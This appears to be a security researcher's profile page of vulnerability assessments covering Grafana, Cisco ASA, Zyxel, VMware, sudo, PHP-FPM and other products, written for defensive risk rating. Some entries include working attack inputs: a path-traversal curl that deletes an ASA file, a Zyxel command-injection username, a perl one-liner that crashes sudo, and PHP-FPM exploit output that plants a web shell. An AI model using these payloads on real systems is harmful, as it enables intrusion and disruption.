wvu-r7 (159)

Last Login: August 11, 2020
Assessments
44
Score
159
4th Place

wvu-r7's Contributions (64)

Sort by:
Filter by:
2
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Common in enterpriseExploited in the wildUnauthenticatedVulnerable in default configuration
Technical Analysis

This bug affects not only Grafana instances, but also Gitlab instances (under the /-/grafana path) and SourceTree instances (under the /-/debug/grafana/ path).

This also affects GitLab, which presumably bundles Grafana. GitLab versions prior to 13.1.1 are affected. This increases the attack surface beyond just Grafana.

While I consider this a “primitive” in an exploit chain, it will certainly be useful to bug bounty hunters and the like. Seems people on Twitter may have gotten it to work already.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Difficult to patchGives privileged accessUnauthenticatedVulnerable in default configuration
Technical Analysis

The web server is a 32-bit, big-endian MIPS binary at /magicP/WebServer/webs.

The patch against the websSecurityHandler() function in webs is simplistic. If the cookie length is greater than the buffer size of 512 bytes, the function fails out:

 char cookie[512];

 /* snip */

 if (wp->cookie != NULL) {
   cookie_len = strlen(wp->cookie);
+  if (512 < cookie_len) goto Fail;
   memset(cookie, 0, 512);
   strncpy(cookie, wp->cookie, cookie_len);
   cookie[cookie_len] = '\0';
 }

The exploit mitigations on the binary are lacking:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   1226) Symbols	  No	0		17		webs.unpatched

No additional mitigations were enabled in the patched version. Funny enough, the binary still has debug symbols.

Exploitability seems high on this one, given the complete lack of mitigations. That said, you would not be able to copy null bytes with strncpy(3).

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Difficult to patchGives privileged accessUnauthenticatedVulnerable in default configuration
Technical Analysis

The web functionality is implemented in the x86 gm_server binary.

Using the Claroty report and a hunch, I decided to test the Content-Length header for negative values:

The discovered bug occurs due to improper handling of some of the HTTP request headers provided by the client.

[snip]

CVE-2020-14500
IMPROPER NEUTRALIZATION OF NULL BYTE OR NULL CHARACTER CWE-158
An attacker can send a negative value and overwrite arbitrary data.

On the /admin page, setting Content-Length to a large negative value yielded a segfault in the gm_server process:

[30665.430945] gm_server[25115]: segfault at 56e35df1 ip 00000000566c0816 sp 00000000ffcb6bf0 error 6 in gm_server[565cf000+175000]
[30665.430952] Code: e8 e8 ee f4 ff ff 89 c7 e9 61 fe ff ff 8d b4 26 00 00 00 00 8b 95 60 02 00 00 85 d2 0f 84 93 00 00 00 8b 85 68 02 00 00 31 ff <c6> 04 02 00 8b 45 14 83 f8 02 0f 84 34 fe ff ff 0f 82 84 02 00 00

Note that a watchdog restarts the process when it crashes.

For GateManager 8250 on Linux, the gm_server binary has NX and PIE enabled. The embedded 4260 and 9250 models have only NX:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               22              gm_server.unpatched

Exploitability of the embedded models seems high, given that PIE isn’t enabled. NX and system ASLR can be bypassed with ROP.

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Difficult to patchEasy to weaponizeGives privileged accessUnauthenticated
Technical Analysis

This is a web hosting control panel for CentOS, sort of like cPanel. RCE in one of these could mean compromised user websites and data. Web hosting used to be super popular in the 2000s, but it has largely been supplanted by cheap virtualization and “cloud” platforms, IMHO.

I make some assumptions about this vuln, since the code is ionCube-protected, so there’s no source, only PHP bytecode. Setup is also a nightmare, and there are no provisions for tracking or rolling back changes. Patching can get sketchy.

I did not analyze the vuln, as attempting to install an older version of the software consequently broke it, and deobfuscating ionCube takes a significant amount of time.

2
Ratings
  • Attacker Value
    Low
  • Exploitability
    Medium
Common in enterpriseAuthenticated
Technical Analysis

I wonder if this has SSRF-to-RCE potential after reading the recent security bulletin.

3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Common in enterprise
Technical Analysis

The advisory isn’t worded very well, but it seems that logging in to the SSL VPN with a different-case username than set will allow 2FA to be bypassed, opening up the VPN to password attacks, such as password spraying.

Successful VPN access to an internal network can open up a lot of doors for an attacker, turning an external compromise into an authorized internal one. Many corporate services are hidden behind VPN. That said, proper network segmentation and secondary access controls can mitigate some of the risk. The “attacker value” is “medium” because this is just a 2FA bypass and also because of the listed caveats. It isn’t terribly useful on its own.

The KB article is written much better.

3
Ratings
  • Attacker Value
    Low
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeExploited in the wildUnauthenticatedVulnerable in default configurationNo useful access
Technical Analysis

The file deletion doesn’t seem “useful” beyond disruption or denial of service against the web services. The files come back after a reboot, too. Not much “attacker value” here. The PoC is easy to weaponize, though, so please patch to avoid disruptions.

ETA: Hey, I can “patch” the vuln with the vuln:

wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Cache-Control: no-store
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 27 Jul 2020 19:57:23 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$ curl -kb token=../+CSCOE+/session_password.html https://[redacted]/+CSCOE+/session_password.html
wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 404 Not Found
Cache-Control: no-store
Pragma: no-cache
Connection: Close
Date: Mon, 27 Jul 2020 19:57:35 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$

This uses the vulnerable file to delete itself.

6
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Common in enterpriseGives privileged accessUnauthenticated
Technical Analysis

Technical details are a little sparse in the advisory, but this reads more like a bad software configuration or design than a vulnerability – one that may be indicative of a systemic problem in SAML implementations, not unlike the issues with SSL/TLS in practice.

Disabling identity provider (IdP) verification is akin to disabling SSL/TLS certificate verification, which is similarly the case here: many IdPs will generate self-signed certs, rendering verification all but impossible unless the software supports trusting individual certs. It is easier to leave a box unchecked. A box that seems to imply verifying only CA-signed certs. Palo Alto states as much in their advisory:

Many popular IdPs generate self-signed IdP certificates by default and the ‘Validate Identity Provider Certificate’ option cannot be enabled.

It would not surprise me if many organizations have this option disabled, regardless of what the default configuration may be (I haven’t been able to check), since widespread documentation suggests doing so. Case in point is Okta’s documentation on setting up SAML for Palo Alto products:

Many other IdPs, including Microsoft’s Azure Active Directory, suggest the same. This sets a dangerous precedent for other software to follow. In the worst case, this problem is already endemic in SAML implementations, regardless of the circumstances here. An audit of SAML implementations may be a worthy endeavor.

You should still patch or otherwise fix this configuration if at all possible. Palo Alto suggests using a CA-signed cert when available. Ideally, certificates should be trusted on a one-by-one basis, which is an unsustainable model for SSL/TLS but adequate for SAML. Of course, the software must support this, and the documentation must advise it. This was not the case here, apparently.

3
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Common in enterprise
Technical Analysis

@zeroSteiner pointed us to this exploit chain today: https://twitter.com/CasvCooten/status/1270374273849401346. It uses CVE-2020-10535 to satisfy the authentication requirement. Note that https://hackerone.com/reports/827052 already explains the path to RCE. We actually already have a Rails secret deserialization exploit, so “weaponizing” the exploit chain is possible.

1

To add to this, we were unable to obtain the software without a valid Cisco service contract, so no patch analysis was performed.

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Low
Common in enterpriseUnauthenticatedDifficult to weaponizeVulnerable in uncommon configuration
Technical Analysis

@cblack-r7 and I looked at this a couple weeks ago, specifically https://seclists.org/oss-sec/2020/q2/136 and https://github.com/IdealDreamLast/CVE-2020-9484. I did a double take because I thought it included a file write. Not so. There are a handful of prerequisites that mitigate the impact of this vulnerability.

If the stars align, this could be valuable, since Tomcat is everywhere. But I don’t think it’s worth writing an exploit for this, beyond a PoC, since exploitation is so niche. @redtimmy’s writeup is most excellent. Go read that.

1

Patched in 6.4.5:

wvu@kharak-STABLE:~/Downloads$ diff -u service.unpatched.sh service.patched.sh
--- service.unpatched.sh        2020-05-26 19:35:55.000000000 -0500
+++ service.patched.sh  2020-05-26 19:36:05.000000000 -0500
@@ -125,9 +125,7 @@
                passparts=(${passfield//$/ })
                algo=${passparts[0]}
                salt=${passparts[1]}
-
-               password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')")
-
+               password=$(echo "$2" | $PYTHON -c "import crypt; print crypt.crypt(raw_input("").rstrip('\n'), '\$$algo\$$salt\$')")
                if [ "$password" == "$passfield" ]; then
                        echo 'OK'
                        exit  0
wvu@kharak-STABLE:~/Downloads$
1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    High
Difficult to patchEasy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

Metasploit exploit module PR’d here.

6
Ratings
  • Attacker Value
    High
  • Exploitability
    Low
Common in enterpriseAuthenticated
Technical Analysis

The software requires purchase to download, and a VMware login is required to access the download page. The “Open Source Disclosure Package” contains only open-source JARs – no patch to analyze.

VMware provides a workaround here in the form of a shell script, reproduced below.

#!/bin/bash

# Copyright 2020 VMware, Inc.  All rights reserved.

# This script patches vCloud Director cell to protect against CVE-2020-3956
# 1. download 'WA_CVE-2020-3956.sh' in all vCD Servers repeat steps from 2-4 in all servers
# 2. chmod 740 WA_CVE-2020-3956.sh
# 3. Run ./WA_CVE-2020-3956.sh

readonly VCD_HOME="/opt/vmware/vcloud-director"
readonly BVAL_ROOT_DIR="$VCD_HOME/system/org/apache/bval/org.apache.bval.bundle"
readonly VMW_BVAL_DIR="$BVAL_ROOT_DIR/1.1.1.vmw"
readonly BVAL_DIR="$BVAL_ROOT_DIR/1.1.1"
readonly ELF_CLASS="org/apache/bval/el/ELFacade*.class"
readonly ZIP_CMD="/usr/bin/zip"

WIDTH=80

function is_zip_pkg_not_found()
{
    [ ! -f "$ZIP_CMD" ]
}

function is_bval_found()
{
    [ -f "$BVAL_DIR/org.apache.bval.bundle-1.1.1.jar" ]
}

function is_bval_vmw_found()
{
	[ -f "$VMW_BVAL_DIR/org.apache.bval.bundle-1.1.1.vmw.jar" ]
}

function start_vcd () {
    /etc/init.d/vmware-vcd restart
    if [ $? -ne 0 ]; then
        fmt -w$WIDTH <<EOF
Start up failed; you should review the logs in ${VCD_HOME}/logs for details.
EOF
    fi
}

function service_start()
{
    chown vcloud:vcloud "$BVAL_DIR"/org.apache.bval.bundle-1.1.1.jar
    chown root:vcloud "$VCD_HOME"/bin/vmware-vcd-cell-common
    chmod 0640 "$VCD_HOME"/bin/vmware-vcd-cell-common
    echo "--------------------------------------------------------------"
    echo "This cell has been patched. Restarting service...             "
    echo "--------------------------------------------------------------"

    start_vcd

}

function security_fix()
{
    if is_bval_found; then
      class_count=$($ZIP_CMD -sf $BVAL_DIR/org.apache.bval.bundle-1.1.1.jar | grep $ELF_CLASS | wc -l)
      if [ "$class_count" != 0 ]; then
	    $ZIP_CMD -dq $BVAL_DIR/org.apache.bval.bundle-1.1.1.jar $ELF_CLASS
        service_start
      else
        echo "This cell is protected against CVE-2020-3956"
        echo "--------------------------------------------------------------"
      fi
    fi
}


echo "Assessing your cell ....."
echo "--------------------------------------------------------------"

if [ -d "$VCD_HOME" ]; then
    echo "vCloud Director cell path found and scanning your system, "
    if is_bval_vmw_found; then
        echo "--------------------------------------------------------------"
        echo "This cell is protected against CVE-2020-3956"
        echo "--------------------------------------------------------------"
        exit 0
    elif is_zip_pkg_not_found; then
        echo "---------------------------------------------------------------"
        echo "zip package not found, it must be installed to run this script."
        echo "---------------------------------------------------------------"
        exit 0
    fi
    security_fix
    else
      echo "--------------------------------------------------------------"
      echo "vCloud Director cell path not found. "
      echo "--------------------------------------------------------------"
      exit 0
fi

The workaround removes any org/apache/bval/el/ELFacade*.class files from /opt/vmware/vcloud-director/system/org/apache/bval/org.apache.bval.bundle/1.1.1/org.apache.bval.bundle-1.1.1.jar. ELFacade deals with Java EL expressions, which suggests an EL injection vulnerability.

Note that this vulnerability is post-auth! This somewhat limits the exposure of the vuln, but no one said getting creds was difficult. Patch!

2
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
Common in enterpriseEasy to weaponizeGives privileged accessUnauthenticatedVulnerable in default configuration
Technical Analysis

By chaining an auth bypass (this CVE), command injection (CVE-2020-4428), and default password (CVE-2020-4429), attackers can gain privileged access to IBM Data Risk Manager through its web API. Since this is an enterprise product that manages potentially sensitive data, compromise of the product can have significant consequences for an organization.

Pedro’s comments in the exploit explain the multiple exploitation steps quite well:

wvu@kharak:/rapid7/metasploit-framework:master$ git grep -h 'step [1-8]' modules/exploits/linux/http/ibm_drm_rce.rb | tail -8 | sed -E 's/^[[:space:]]+//'
# step 1: create a session ID and try to make it stick
# step 2: give the session ID to the server and have it grant us a free admin password
# step 3: login and get an authenticated cookie
# step 4: obtain CSRF header in order to be able to make valid requests
# step 5: upload our payload
# step 6: upload our script file
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
# step 8 and final: invoke the nmap scan with our script file
wvu@kharak:/rapid7/metasploit-framework:master$

step 1: create a session ID and try to make it stick
step 2: give the session ID to the server and have it grant us a free admin password
step 3: login and get an authenticated cookie
step 4: obtain CSRF header in order to be able to make valid requests
step 5: upload our payload
step 6: upload our script file
step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
step 8 and final: invoke the nmap scan with our script file

Since an auth bypass is used, this exploit isn’t technically unauthenticated but rather post-auth after bypassing auth. Note that these CVEs were 0days, so please patch! Great find and exploit, Pedro!

2

Metasploit has two ongoing (WIP) modules in this PR: https://github.com/rapid7/metasploit-framework/pull/13401.

1

Excellent work, @kevthehermit! Seems a lot of PoCs are using the Python salt module, same as the integration test, but you figured out your own MessagePack payloads. :–)

2

Poked at this for a couple hours and seem to be able to disclose the root key so far. Welp.

2
Technical Analysis

I had been waiting for more details on this, and F-Secure delivered. I have little to add to the other excellent assessments, but from a cursory review of the advisory and the code, this looks very easy to reproduce and is already being exploited in the wild as a result.

1
Technical Analysis

I wrote an assessment on the other CVE.

3
Ratings
  • Attacker Value
    High
  • Exploitability
    High
Common in enterpriseEasy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

Veeam is a popular provider of enterprise backup solutions. The Veeam ONE Agent, which also runs on the ONE solution’s server, is vulnerable to pre-auth RCE through .NET deserialization.

This would be a valuable target if found, since backups can often contain sensitive information, not to mention the possibility of “poisoning” them for persistence. Additionally, since this is RCE in the agent, which runs on both the server and its managed hosts, there is potential for widespread exploitation, at least on an internal network, possibly even corporate laptops out in the world – but I don’t want to speculate too much. :–)

I couldn’t find any analyses or PoCs, so I did a little patch analysis and came up with an exploit for this particular CVE. The patches are shown below.

CVE-2020-10914 / ZDI-20-545

PerformHandshake() patch

CVE-2020-10915 / ZDI-20-546

HandshakeResult() patch

Here’s the other CVE on AKB: https://attackerkb.com/topics/XGLYmubkSs/cve-2020-10914. I haven’t done anything with it yet, but I can hit the code path. I targeted HandshakeResult() because it seemed more straightforward to trigger a failure in the handshake.

4

I actually didn’t know about the Twitter thread until @cnotin commented in the PR. :(

10
Technical Analysis

Technical details on the vuln are out: https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/. It’s quite a bit more than information disclosure. Full auth bypass and the ability to add an arbitrary admin user. I’ve confirmed it myself and added a second module.

ETA: I noted the following in an earlier response here:

The data seemed to contain secrets related to VMware’s Security Token Service (STS) for single sign-on (SSO).

So information disclosure is still on the table for obtaining access. Presumably, you would use the STS private key to sign forged SAML tokens used in the STS SSO system. Wanted to update AKB, since we’d been talking about it in work Slack. :)

Hats off to the Guardicore team for their dedicated analysis.

6

Thanks for the writeup! The data seemed to contain secrets related to VMware’s Security Token Service (STS) for single sign-on (SSO).

1
Technical Analysis

Wasn’t able to get a test device or emulate the firmware in QEMU, but I did dig into the patch a bit with Ghidra.

wvu@kharak:~/Downloads$ diff <(strings weblogin.cgi.unpatched) <(strings weblogin.cgi.patched)
33a34,39
> libpcre.so.1
> pcre_exec
> pcre_compile
> pcre_free_study
> pcre_study
> pcre_free
65d70
< free
119a125,126
> ^([a-zA-Z]|[a-zA-Z][a-zA-Z0-9._-]|[a-zA-Z][a-zA-Z0-9 ._-]{0,30}[a-zA-Z0-9._-])$
> ^[^!#-&(-]*$
wvu@kharak:~/Downloads$

Analysis of a patched function (not shown here) indicates Zyxel applied a regex to the username field.

But it appears they left what appears to be the command injection unfixed.

/cgi-bin/weblogin.cgi?username=admin';echo

¯\_(ツ)_/¯

1
Technical Analysis

I obtained a vulnerable installer and successfully tested RCE using mr_me’s exploit.

1
Technical Analysis

AFAIK, it is common to enable full mitigations on the binary, with ASLR enabled on the system. While this doesn’t mean much in and of itself, it could mean the vulnerability is difficult or “impossible” to exploit, depending on how the software is engineered or configured. A crash has already been proven.

2

I was wrong. I was Today Years Old when I learned an IPv4 address literal can be specified if surrounded by square brackets. It’s not just for IPv6. That waives the MX requirement trivially. See https://serverfault.com/questions/905886/is-it-possible-to-send-and-receive-an-email-from-an-ip-address-instead-from-a-do.

Also, there are indeed additional lines you can specify to alter the daemon’s behavior and turn the OOB read into command execution. I suspected there may be special “headers” to control the daemon but made no effort to confirm their existence. Further reading of the source would have discovered them. Incredible research by Qualys: https://seclists.org/oss-sec/2020/q1/96.

4
Technical Analysis

If such a remote
server is controlled by an attacker (either because it is malicious or
compromised, or because of a man-in-the-middle, DNS, or BGP attack —
SMTP is not TLS-encrypted by default), then the attacker can execute
arbitrary shell commands on the vulnerable OpenSMTPD installation.

This seems to be the primary limitation for exploitation. You can’t just give OpenSMTPD an IP address. You need to control an MX host or relay, so a little more setup is required. Contrast this with CVE-2020-7247, which is directly exploitable against the server.

2
Ratings
  • Attacker Value
    Low
  • Exploitability
    High
Common in enterpriseEasy to weaponizeVulnerable in default configurationNo useful access
Technical Analysis

We’re still trying to find a way to get generic RCE out of this, but it’s not promising: https://twitter.com/steventseeley/status/1230871514343518208. For now, it seems to be limited to LFI in the web root.

I did manage to get a shell, but it was rather contrived, since I uploaded the text file containing JSP myself, then included it. It at least did not require a .jsp extension, but the extension was required in the request URI.

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    High
Easy to weaponize
Technical Analysis

Although the application was only accessible to authorised users, the lowest privilege (the Browser role) was sufficient in order to exploit this issue.

https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

My testing confirmed that the endpoint is post-auth. No idea how to configure anonymous users yet, if possible. Uses Windows auth by default. Needed a password to get anywhere. Not really a problem in a Windows environment. So, if you have creds, this could be potentially useful pivot point.

I don’t know how common this is in enterprise environments, but it seems to be a likely pairing with Microsoft’s SQL Server. That may gain you access to useful information.

1

Mint’s mitigations:

mint@mint:~/Downloads$ ./checksec --file=/usr/bin/sudo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RW-RUNPATH   No Symbols      Yes	6		12	/usr/bin/sudo
mint@mint:~/Downloads$
3

Verified against Linux Mint 19.3 Tricia live CD:

mint@mint:~$ uname -a
Linux mint 5.0.0-32-generic #34~18.04.2-Ubuntu SMP Thu Oct 10 10:36:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
mint@mint:~$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
[sudo] password for mint: Segmentation fault
mint@mint:~$ dmesg | tail -2
[  126.375340] sudo[1896]: segfault at 55ff66d8c000 ip 000055ff66b7e3b8 sp 00007fff565b26a0 error 6 in sudo[55ff66b66000+22000]
[  126.375345] Code: 83 c4 28 5b 5d 41 5c 41 5d 41 5e 41 5f c3 0f 1f 40 00 48 8d 35 ac 6b 00 00 ba 01 00 00 00 89 df e8 8d c2 fe ff 0f b6 54 24 17 <41> 88 17 49 83 c7 01 4c 89 74 24 08 49 83 ee 01 4d 85 f6 0f 85 d7
mint@mint:~$
1
Technical Analysis

This isn’t a default in most installations I’ve seen. Looks like Linux Mint uses it, though, and that’s a decently sized target, IMHO. Popular for new users to Linux, which kind of explains why they’d turn on this particular setting. That said, I don’t think the corporate impact is high – unless they’re using Mint for workstations.

Great find, Joe. :–)

2
Technical Analysis

An Edge vuln might be more valuable, but plenty of people still use IE. Last I heard, there was no known PoC. Perhaps only Google and Qihoo 360 have seen these “attacks in the wild.”

3
Technical Analysis

We had post-auth RCE in Cisco Firepower Management Console submitted as a module in PR #7803. This new vuln nets you admin access to the device ONLY if LDAP authentication is enabled. I don’t know how common that configuration is.

While the potential for a shell is nice, admin access to a management center for network security solutions is likely more useful. I also don’t know if the admin interface is typically exposed on the WAN side, but I’ve seen worse. I’d expect to see this exposed on a corporate LAN, though. And if you can turn external access into internal access, it makes little difference.

I don’t think there’s any cause for panic with this, like Citrix last week, but I’d keep my eye on this one. Cisco hasn’t seen any PoCs, but it’s only a matter of time.

2
Technical Analysis

https://twitter.com/taviso/status/1217146026923978752

X.509 validation being broken is pretty big. I don’t know about RCE possibilities yet, but MITM and spoofing got a whole lot more serious.

1

We’ve been looking for vulnerable targets but haven’t identified any yet.

2
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

This is indeed post-auth SQLi. Users with credentialed access to internal services, such as a disgruntled employee, are potential attackers. The utility of this bug is low.

1
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

This is indeed post-auth SQLi. Users with credentialed access to internal services, such as a disgruntled employee, are potential attackers. The utility of this bug is low.

1

This removes the syscall hooking in the BlueKeep exploit, adapting it for targets with the Meltdown patch installed: https://github.com/rapid7/metasploit-framework/pull/12553. The result is improved exploit reliability for those targets.

5
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Other than calibrating the QSL detection, this one looks straightforward to implement as a Metasploit module.

Some raw notes from yesterday:

wvu@kharak:~/Downloads/phuip-fpizdam:master$ ~/go/bin/phuip-fpizdam --only-qsl http://127.0.0.1:8080/script.php
2019/10/28 15:53:00 Base status code is 200
2019/10/28 15:53:00 Status code 502 for qsl=1765, adding as a candidate
2019/10/28 15:53:00 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/28 15:53:00 Detect() found QSLs and that's it
wvu@kharak:~/Downloads/phuip-fpizdam:master$

[28-Oct-2019 20:53:00] WARNING: [pool www] child 16 exited on signal 11 (SIGSEGV) after 5.221837 seconds from start

wvu@kharak:~/Downloads/phuip-fpizdam:master$ ~/go/bin/phuip-fpizdam --qsl 1760 --pisos 55 --skip-detect http://127.0.0.1:8080/script.php
2019/10/28 15:57:32 Using attack params --qsl 1760 --pisos 55 --skip-detect
2019/10/28 15:57:32 Performing attack using php.ini settings...
2019/10/28 15:57:33 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/28 15:57:33 Trying to cleanup /tmp/a...
2019/10/28 15:57:33 Done!
wvu@kharak:~/Downloads/phuip-fpizdam:master$

172.17.0.1 - - [28/Oct/2019:20:57:33 +0000] "GET /script.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 329 "-" "Mozilla/5.0"

>>> print(urllib.parse.unquote('172.17.0.1 - - [28/Oct/2019:20:57:33 +0000] "GET /script.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ